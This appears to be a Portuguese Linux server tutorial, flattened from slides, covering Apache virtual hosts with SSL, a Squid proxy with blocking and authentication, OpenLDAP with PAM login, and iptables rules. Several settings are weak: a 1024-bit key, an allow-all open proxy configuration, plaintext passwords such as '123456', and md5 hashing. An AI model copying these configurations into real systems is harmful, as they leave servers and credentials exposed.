http://127.0.0.1/index.php Vários sites sobre o mesmo IP O Apache permite hospedar vários sites no mesmo servidor, recurso chamado de virtual hosts. Apenas os sites mais acessados são capazes de saturar os recursos de um servidor dedicado de configuração razoável, por isso hospedar vários sites no mesmo servidor é uma forma de economizar recursos e trabalho. Criando seu primeiro site # vim /etc/apache2/sites-available/seunome.com.br <VirtualHost www.seunome.com.br:80> DocumentRoot /var/www/seunome.com.br ServerName www.seunome.com.br ServerAlias www.seunome.com.br seunome.com.br ServerAdmin webmaster@seunome.com.br ErrorLog /var/log/apache2/seunome.com.br-error.log CustomLog /var/log/apache2/seunome.com.br-access.log common </VirtualHost> Home page Crie o diretório aonde ficará o site: # mkdir /var/www/seunome.com.br Dentro do diretório recém criado, crie um arquivo chamado index.html e desenvolva seu site: # vim /var/www/seunome.com.br/index.html <html> <title> Home page </title> <body> Funcionando!!! </body> </html> Colocando o site no ar Verifique se há algum erro de sintaxe em algum virtual host: # apache2ctl configtest Habilite o seu site: # a2ensite seunome.com.br Carregando apenas seus arquivos de configuração: # /etc/init.d/apache2 reload Teste no seu browser: http://www.seunome.com.br HTTPS Vamos instalar a ferramenta para gerar os certificados: # aptitude install openssl Habilite o módulo: # a2enmod ssl # cd /etc/ssl Crie a chave # openssl genrsa -out seunome.key 1024 HTTPS Crie o certificado que será enviado para entidade certificadora: # openssl req -new -key seunome.key -out seunome.csr E por último vamos validar o certificado: # openssl x509 -req -days 365 -in seunome.csr -signkey seunome.key -out seunome.crt # vim /etc/apache2/sites-available/seunome.com.br <VirtualHost www.seunome.com.br:443> DocumentRoot /var/www/seunome.com.br ServerName www.seunome.com.br ServerAdmin webmaster@seunome.com.br ErrorLog /var/log/apache2/seunome.com.br-error.log CustomLog /var/log/apache2/seunome.com.br- access.log common SSLEngine on SSLCertificateFile /etc/ssl/seunome.crt SSLCertificateKeyFile /etc/ssl/seunome.key </VirtualHost> Seu site com suporte a ssl Seu site com suporte a ssl Verifique se há algum erro de sintaxe em algum virtual host: # apache2ctl configtest Carregando apenas seus arquivos de configuração: # /etc/init.d/apache2 reload Teste no seu browser: https://www.seunome.com.br Redirecionamento Vamos fazer com que sempre que acessar a pagina, já acesse direto o https: Habilite o módulo responsável pelo redirecionamento: # a2enmod rewrite Habilite no seu site o redirecionamento: # vim /etc/apache2/sites-available/seunome.com.br Redirecionamento <VirtualHost www.seunome.com.br:80> ServerName www.seunome.com.br ServerAlias seunome.com.br www.seunome.com.br DocumentRoot /var/www/se unome ErrorLog /var/log/httpd/seunome.com.br-error.log CustomLog /var/log/httpd/seunome.com.br-access.log common RewriteEngine On rewriteRule / https://www.seunome.com.br </VirtualHost> # apache2ctl configtest # /etc/init.d/apache2 restart Teste no seu browser: http://www.seunome.com.br FIM PROXY Como surgiu No começo da internet, a velocidade do link era muito baixa, as maiores empresas tinham 128kbps. Pagava-se pelo que usava (custo alto para as empresas). Bloquear o acesso dos usuários a determinadas páginas da internet. Controlar o que os usuários estão acessando. Registros de acessos, para questões judiciais. Como funciona? Instalação e configuração # aptitude install squid # cd /etc/squid # mv squid.conf squid.conf.old # vim squid.conf http_port 3128 visible_hostname seunome.com.br error_directory /usr/share/squid/errors/Portuguese cache_dir ufs /var/spool/squid 2048 128 256 acl all src 0.0.0.0/0.0.0.0 http_access allow all Configuração # squid -k parse # squid -z # squid -k reconfigure Configure o seu browser e teste o squid: Tipos de acl's: src → ip de origem dst → ip de destino time → define horário urlpath_regex → depois do /carros (não pega icarros.com.br) url_regex → palavra-chave dstdomain → domínio hotmail.com (hotmail.com.br) proxy_auth → regras de autenticação Configuração # vim /etc/squid/squid.conf #Memoria para arquivos html e imagens pequenas cache_mem 128 MB #Tamanho máximo dos arquivos na memoria maximum_object_size_in_memory 128 KB #Máximo de download em disco maximum_object_size 512 MB minimum_object_size 0 KB Configuração #Logs de acesso access_log /var/log/squid/access.log squid # Reduzindo cache cache_swap_low 60 cache_swap_high 90 # Conectividade social acl site dstdomain .caixa.gov.br always_direct allow site Configuração #ACLS acl all src 0.0.0.0/0 acl inter dstdomain .com acl globo dstdomain .globo.com acl rede src 172.16.18.0/24 127.0.0.1/32 #Acessos http_access allow rede globo http_access deny rede inter http_access allow rede http_access deny all # squid -k parse # squid -k reconfigure Bloqueando downloads e redes sociais. # vim /etc/squid/squid.conf #acls acl redesocial url_regex -i “/etc/squid/redesocial” acl downloads url_regex -i “/etc/squid/down" #Acessos (colocar acima de todos) http_access deny rede redesocial http_access deny rede downloads http_access allow rede inter # vim /etc/squid/redesocial facebook orkut Bloqueando downloads e redes sociais. # vim /etc/squid/down \.avi \.exe \.mp3 \.torrent \.rar \.zip \.flv \.mp4 # squid -k parse # squid -kreconfigure Faça um teste no seu browser ACESSO POR HORÁRIO # vim /etc/squid/squid.conf acl almoco time 12:00-13:00 http_access allow rede redesocial almoco # squid -k parse # squid -k reconfigure PROXY AUTENTICADO # vim /etc/squid/squid.conf auth_param basic realm “Coloque login e senha” auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd auth_param basic children 30 auth_param basic credentialsttl 1 hour # ACLs acl gerentes proxy_auth -i "/etc/squid/gerentes" acl funcionarios proxy_auth -i "/etc/squid/funcionarios" # Acessos http_access deny funcionarios redesocial http_access allow funcionarios http_access allow gerentes PROXY AUTENTICADO # htpasswd -c /etc/squid/passwd joao # htpasswd /etc/squid/passwd maria # vim /etc/squid/gerentes joao # vim /etc/squid/funcionarios maria # squid -k parse # squid -k reconfigure Relatórios # aptitude install sarg # vim /etc/apache2/sites-enabled/seunome.com.br # RewriteEnginge # rewriteRule # /etc/init.d/apache2 restart # sarg No browser http://127.0.0.1/squid-reports FIM c → country (país) st → stateOrProvinceName (estado) l → localityName (cidade) street → streetAddress (endereço) o → organizationName (organização) ou → orgnizationUnit (unidade organizacional) dc → domainComponent (domínio) cn → commonName Como funciona? Como funciona? Como funciona? cn=Tom Oliveira,ou=Consultoria,dc=empresa,dc=com,dc=br Instalação e configuração # aptitude install slapd ldap-utils Arquivos de configuração → /etc/ldap/slapd.d # cd /etc/ldap # mv slapd.d slapd.d.old # vim /etc/ldap/slapd.conf Configuração # Versão de protocolo utilizado para conexão pelos clientes allow bind_v2 # Schemas e definições de classes de objeto include /etc/ldap/schema/core.schema include /etc/ldap/schema/cosine.schema include /etc/ldap/schema/nis.schema include /etc/ldap/schema/inetorgperson.schema # Arquivos de controle dos processos do servidor slapd pidfile /var/run/slapd/slapd.pid argsfile /var/run/slapd/slapd.args # Módulos modulepath /usr/lib/ldap moduleload back_bdb Configuração # Parâmetros específicos do tipo de base backend bdb # Base de dados database bdb # Estrutura do Diretório e administrador suffix "dc=microx,dc=com,dc=br" rootdn "cn=admin,dc=microx,dc=com,dc=br" rootpw senhasecreta # Local de armazenamento dos dados directory /var/lib/ldap Vamos aproveitar e criptografar a senha do usuário admin: # slappasswd Copie a senha e altere o slapd.conf: # vim /etc/ldap/slapd.conf rootpw {SSHA}ytOsI6civGOGLskcKK0/gTIQDcor93jJ Reinicie o serviço e verifique se o OpenLDAP está rodando: # /etc/init.d/slapd restart # netstat -tupan | grep 389 Configuração LDAP Data Interchange Format A inserção de novos dados nesta base se dá por meio de um arquivo-texto, contendo as informações necessárias a serem incluídas. Este arquivo deve seguir um formato específico chamado LDIF. Para o cadastramento de uma entrada para um domínio, usuário ou grupo, devemos informar, além dos dados referentes a cada um desses, quais dados poderão fazer parte da entrada. Tál definição é feita por meio de um atributo chamado objectClass. dcObject → cadastrar o topo da arvore organizationalUnit → para criação de uma unidade organizacional. InetOrgPerson → para usuários. Criando a base do ldap Vamos criar um diretório só para colocar nossos arquivos ldifs: # mkdir /etc/ldap/ldifs; cd /etc/ldap/ldifs Crie o ldif da base e o administrador do no OpenLDAP: # vim base.ldif dn: dc=microX,dc=com,dc=br objectclass: dcObject objectclass: organization o: microX Ltda dc: microX dn: cn=admin,dc=microX,dc=com,dc=br objectclass: organizationalRole cn: admin Adicionando conteúdo na base do OpenLDAP # ldapadd -f base.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W -f → indica o nome do arquivo a ser processado -x → autenticação simples -D → usuário que estará fazendo a operação -W → Solicita a senha para executar o comando Busca na base # vim /etc/ldap/ldap.conf BASE dc=microX,dc=com,dc=br HOST 127.0.0.1 # ldapsearch -x Criando uma Unidade Organizacional Vamos criar duas OU uma com o nome grupos e outra como usuários: # vim grupos.ldif dn: ou=grupos,dc=microX,dc=com,dc=br ou: grupos objectClass: top objectClass: organizationalUnit # vim usuarios.ldif dn: ou=usuarios,dc=microX,dc=com,dc=br ou: usuarios objectClass: top objectClass: organizationalUnit Adicionando conteúdo na base do OpenLDAP Adicione as “OU” na base do openldap: # ldapadd -f grupos.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W # ldapadd -f usuarios.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W Verifique se o conteúdo foi adicionado: # ldapsearch -x Adicionando um grupo no OpenLDAP Vamos criar um arquivo ldif para adicionar um grupo: # vim addgroup.ldif dn: cn=allusers,ou=grupos,dc=microX,dc=com,dc=br objectClass: posixGroup objectClass: top cn: allusers description: grupos com todos os usuarios memberUid: usuario1 gidNumber: 10000 Adiciona esse conteúdo na base do openldap: # ldapadd -f addgroup.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W # ldapsearch -x Adicionando um usuário no OpenLDAP # vim adduser.ldif dn: uid=usuario1,ou=usuarios,dc=microX,dc=com,dc=br givenName: usuario sn: da Silva cn: Usuario da Silva uid: usuario1 uidNumber: 10000 gidNumber: 10000 homeDirectory: /home/usuario1 objectClass: inetOrgPerson objectClass: posixAccount objectClass: top objectClass: shadowAccount loginShell: /bin/bash userPassword: {SSHA}yCsd+FmVw7I63cV5HKlYBCknmmG6oqt5 # ldapadd -f adduser.ldif -x -D "cn=admin,dc=microX,dc=com,dc=br" -W # ldapsearch -x Autenticando o Linux na base do OpenLDAP Instalação e Configuração Vamos instalar os pacotes necessários e fazer as devidas configurações: # aptitude install libpam-ldap libnss-ldap nscd # vim /etc/nsswitch.conf: passwd: compat ldap group: compat ldap shadow: compat ldap # mv /etc/libnss-ldap.conf /etc/libnss-ldap.conf.ori Configuração # vim /etc/libnss-ldap.conf host 127.0.0.1 base dc=microX,dc=com,dc=br ldap_version 2 rootbinddn cn=admin,dc=microX,dc=com,dc=br Coloque a senha em outro arquivo: # echo -n "123456" > /etc/libnss-ldap.secret # chmod 600 /etc/libnss-ldap.secret Configuração # mv /etc/pam_ldap.conf /etc/pam_ldap.conf.ori # vim /etc/pam_ldap.conf host 127.0.0.1 base dc=microX,dc=com,dc=br ldap_version 2 rootbinddn cn=admin,dc=microx,dc=com,dc=brpam_password md5 # echo -n "123456" > /etc/pam_ldap.secret # chmod 600 /etc/pam_ldap.secret Testar usuários: # getent passwd # getent group Configuração O último passo é configurar o PAM para que ele, durante o processo de autenticação dos usuários, consulte o servidor LDAP. Isto é feito no diretório /etc/pam.d editando os arquivos: # vim /etc/pam.d/common-account account sufficient pam_ldap.so account required pam_unix.so try_first_pass # vim /etc/pam.d/common-auth auth required pam_nologin.so auth required pam_env.so auth sufficient pam_ldap.so auth required pam_unix.so nullok_secure try_first_pass Configuração # vim /etc/pam.d/common-session session required pam_mkhomedir.so skel=/etc/skel umask=0022 silent session sufficient pam_unix.so # vim /etc/pam.d/common-password password sufficient pam_ldap.so password required pam_unix.so nullok obscure md5 Reinicie o serviço nscd: # /etc/init.d/nscd restart FIM FIREWALL IPTABLES Firewall é um quesito de segurança com cada vez mais importância no mundo da computação. À medida que o uso de informações e sistemas é cada vez maior, a proteção destes requer a aplicação de ferramentas e conceitos de segurança eficientes. O sistema GNU/Linux com Kernel série 2.4 e 2.6 trabalham com o Iptables para fazer o gerencialmento de regras de Firewall. Lembrando que o iptables é apenas um Front-End que gerencia o suporte ao netfilter no kernel. Iptables/NetFilter NetFilter é o responsável por filtrar os pacotes no Kernel. Iptables é o binário que manipula as tabelas do NetFilter. As principais tabelas do iptables são: Filter Nat CHAINS Tabela Filter – INPUT - Regras de entrada de pacotes. – OUTPUT - Regras de saída de pacotes. – FORWARD - Regras de passagem de pacotes pelo firewall de uma rede para outra. Tabela NAT – PREROUTING - Regras que serão processadas antes do roteamento dos pacotes nas interfaces do firewall. – POSTROUTING - Regras que serão processadas pós roteamento dos pacotes nas interfaces do firewall. E como o kernel lida com tudo isso? IMPLEMENTANDO FIREWALL A metodologia utilizada para implementação do firewall será a seguinte: Iremos negar todo o tráfego para as CHAINS de INPUT, OUTPUT e FORWARD da tabela filter, posteriormente iremos definir a relação dos serviços que devem ser liberados no firewall, a estes, iremos chamar de exceções. Todo o tráfego de pacotes que as nossas exceções não cobrir serão bloqueado por padrão. Ou seja, o que for oficialmente permitido já está expressamente negado. Verifique as políticas básicas configuradas: # iptables -nL # iptables -t nat -nL Modifique todas as políticas básicas para DROP: # iptables -P INPUT DROP # iptables -P OUTPUT DROP # iptables -P FORWARD DROP LIBERANDO ACESSO DE LOOPBACK Verifique se a nova política foi assumida e faça um teste com o ping: # iptables -nL # ping 127.0.0.1 Vamos definir uma política de exceção para a interface loopback: # iptables -A OUTPUT -d 127.0.0.1 -j ACCEPT # iptables -A INPUT -d 127.0.0.1 -j ACCEPT Liste as políticas: # iptables -nL # ping 127.0.0.1 P.I.N.G!! Vamos criar uma regra que permita a comunicação de qualquer tipo de pacote ICMP. # ping 192.168.16.223 # iptables -A OUTPUT -p icmp -s 192.168.16.X -d 0/0 -j ACCEPT # iptables -A INPUT -p icmp -s 0/0 -d 192.168.16.X -j ACCEPT # iptables -n -L # ping 192.168.16.223 Resolução de Nomes Vamos criar uma regra quer permita a resolução de nomes: # ping www.uol.com.br # iptables -A OUTPUT -p udp -s 192.168.16.X --sport 1024:65535 -d 0/0 --dport 53 -j ACCEPT # iptables -A INPUT -p udp -s 0/0 --sport 53 -d 192.168.16.X --dport 1024:65535 -j ACCEPT # iptables -n -L # ping www.uol.com.br Navegação Web Vamos criar uma regra quer permita a navegação Web: # iptables -A OUTPUT -p tcp -s 192.168.0.X --sport 1024:65535 -d 0/0 --dport 80 -j ACCEPT # iptables -A OUTPUT -p tcp -s 192.168.0.X --sport 1024:65535 -d 0/0 --dport 443 -j ACCEPT # iptables -A INPUT -p tcp -s 0/0 --sport 80 -d 192.168.0.X --dport 1024:65535 -j ACCEPT # iptables -A INPUT -p tcp -s 0/0 --sport 443 -d 192.168.0.X --dport 1024:65535 -j ACCEPT Liberar outros serviços Liberar ssh p/ firewall # iptables -A INPUT -p tcp --dport 22 -j ACCEPT Liberar saida do firewall # iptables -P OUTPUT ACCEPT Liberar squid p/firewall # iptables -A INPUT -p tcp --dport 3128 -j ACCEPT Liberar email p/ zona da Rede Lan # iptables -A FORWARD -p tcp -m multiport --dport 25,110,143 -j ACCEPT # iptables -A FORWARD -p tcp -m multiport --sport 25,110,143 -j ACCEPT Roteamento Primeiramente, vamos habilitar o roteamento de pacotes entre as interfaces de rede: # sysctl -w net.ipv4.ip_forward=1 ou # echo 1 > /proc/sys/net/ipv4/ip_forward Se quiser deixar este valor fixo, edite o arquivo: # vim /etc/sysctl.conf net.ipv4.ip_forward=1 Criando as regras de forward Crie as regras que permitam o recebimento e envio de pacotes encaminhados a sua rede: # iptables -A FORWARD -s 192.168.0.0/24 -j ACCEPT # iptables -A FORWARD -d 192.168.0.0/24 -j ACCEPT E agora o NAT “mascarado”: # iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j MASQUERADE DICAS Como percebemos, o iptables consultas as regras na sequência, caso você tenha necessidade de deletar a segunda regra criada digite: # iptables -nL --line-numbers # iptables -t filter -D INPUT 2 Inserir uma regra, na quarta posição # iptables -I INPUT 4 -d 192.168.0.0/24 -j ACCEPT Sobrescrever a terceira regra: # iptables -R INPUT 3 -d 127.0.0.1 -p icmp -j DROP Backup e restore das regras Salve as regras: # iptables-save > /root/firewall.backup # cat /root/firewall.backup Limpe as regras: # iptables -F # iptables -F -t nat # iptables -nL Faça o restore e teste: # iptables-restore /root/firewall.backup # iptables -n -L # iptables -n -L -t nat FIM
Compartilhar